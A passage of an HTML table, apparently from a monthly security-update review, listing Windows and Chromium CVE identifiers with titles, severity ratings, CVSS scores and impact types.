  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27925">CVE-2026-27925</a></td>
  <td>Windows UPnP Device Host Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32156">CVE-2026-32156</a></td>
  <td>Windows UPnP Device Host Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32223">CVE-2026-32223</a></td>
  <td>Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32165">CVE-2026-32165</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27911">CVE-2026-27911</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32163">CVE-2026-32163</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32164">CVE-2026-32164</a></td>
  <td>Windows User Interface Core Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23670">CVE-2026-23670</a></td>
  <td>Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27917">CVE-2026-27917</a></td>
  <td>Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080">CVE-2026-32080</a></td>
  <td>Windows WalletService Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32222">CVE-2026-32222</a></td>
  <td>Windows Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21637">CVE-2026-21637 *</a></td>
  <td> HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers</td>
  <td> Moderate</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33119">CVE-2026-33119</a></td>
  <td>Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>5.4</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829">CVE-2026-33829</a></td>
  <td>Windows Snipping Tool Spoofing Vulnerability</td>
  <td>Moderate</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5858">CVE-2026-5858 *</a></td>
  <td>Chromium: CVE-2026-5858 Heap buffer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5859">CVE-2026-5859 *</a></td>
  <td>Chromium: CVE-2026-5859 Integer overflow in WebML</td>
  <td>Critical</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5272">CVE-2026-5272 *</a></td>
  <td>Chromium: CVE-2026-5272 Heap buffer overflow in GPU</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5273">CVE-2026-5273 *</a></td>
  <td>Chromium: CVE-2026-5273 Use after free in CSS</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5274">CVE-2026-5274 *</a></td>
  <td>Chromium: CVE-2026-5274 Integer overflow in Codecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5275">CVE-2026-5275 *</a></td>
  <td>Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5276">CVE-2026-5276 *</a></td>
  <td>Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5277">CVE-2026-5277 *</a></td>
  <td>Chromium: CVE-2026-5277 Integer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5279">CVE-2026-5279 *</a></td>
  <td>Chromium: CVE-2026-5279 Object corruption in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5280">CVE-2026-5280 *</a></td>
  <td>Chromium: CVE-2026-5280 Use after free in WebCodecs</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5283">CVE-2026-5283 *</a></td>
  <td>Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5284">CVE-2026-5284 *</a></td>
  <td>Chromium: CVE-2026-5284 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5285">CVE-2026-5285 *</a></td>
  <td>Chromium: CVE-2026-5285 Use after free in WebGL</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5286">CVE-2026-5286 *</a></td>
  <td>Chromium: CVE-2026-5286 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5287">CVE-2026-5287 *</a></td>
  <td>Chromium: CVE-2026-5287 Use after free in PDF</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5289">CVE-2026-5289 *</a></td>
  <td>Chromium: CVE-2026-5289 Use after free in Navigation</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5290">CVE-2026-5290 *</a></td>
  <td>Chromium: CVE-2026-5290 Use after free in Compositing</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5860">CVE-2026-5860 *</a></td>
  <td>Chromium: CVE-2026-5860 Use after free in WebRTC</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5861">CVE-2026-5861 *</a></td>
  <td>Chromium: CVE-2026-5861 Use after free in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5862">CVE-2026-5862 *</a></td>
  <td>Chromium: CVE-2026-5862 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5863">CVE-2026-5863 *</a></td>
  <td>Chromium: CVE-2026-5863 Inappropriate implementation in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5864">CVE-2026-5864 *</a></td>
  <td>Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5865">CVE-2026-5865 *</a></td>
  <td>Chromium: CVE-2026-5865 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5866">CVE-2026-5866 *</a></td>
  <td>Chromium: CVE-2026-5866 Use after free in Media</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5867">CVE-2026-5867 *</a></td>
  <td>Chromium: CVE-2026-5867 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5868">CVE-2026-5868 *</a></td>
  <td>Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5869">CVE-2026-5869 *</a></td>
  <td>Chromium: CVE-2026-5869 Heap buffer overflow in WebML</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5870">CVE-2026-5870 *</a></td>
  <td>Chromium: CVE-2026-5870 Integer overflow in Skia</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5871">CVE-2026-5871 *</a></td>
  <td>Chromium: CVE-2026-5871 Type Confusion in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5872">CVE-2026-5872 *</a></td>
  <td>Chromium: CVE-2026-5872 Use after free in Blink</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5873">CVE-2026-5873 *</a></td>
  <td>Chromium: CVE-2026-5873 Out of bounds read and write in V8</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5291">CVE-2026-5291 *</a></td>
  <td>Chromium: CVE-2026-5291 Inappropriate implementation in WebGL</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5292">CVE-2026-5292 *</a></td>
  <td>Chromium: CVE-2026-5292 Out of bounds read in WebCodecs</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5874">CVE-2026-5874 *</a></td>
  <td>Chromium: CVE-2026-5874 Use after free in PrivateAI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5875">CVE-2026-5875 *</a></td>
  <td>Chromium: CVE-2026-5875 Policy bypass in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5876">CVE-2026-5876 *</a></td>
  <td>Chromium: CVE-2026-5876 Side-channel information leakage in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5877">CVE-2026-5877 *</a></td>
  <td>Chromium: CVE-2026-5877 Use after free in Navigation</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5878">CVE-2026-5878 *</a></td>
  <td>Chromium: CVE-2026-5878 Incorrect security UI in Blink</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5879">CVE-2026-5879 *</a></td>
  <td>Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5880">CVE-2026-5880 *</a></td>
  <td>Chromium: CVE-2026-5880 Incorrect security UI in browser UI</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5881">CVE-2026-5881 *</a></td>
  <td>Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5882">CVE-2026-5882 *</a></td>
  <td>Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5883">CVE-2026-5883 *</a></td>
  <td>Chromium: CVE-2026-5883 Use after free in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5884">CVE-2026-5884 *</a></td>
  <td>Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5885">CVE-2026-5885 *</a></td>
  <td>Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5886">CVE-2026-5886 *</a></td>
  <td>Chromium: CVE-2026-5886 Out of bounds read in WebAudio</td>
  <td>Medium</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
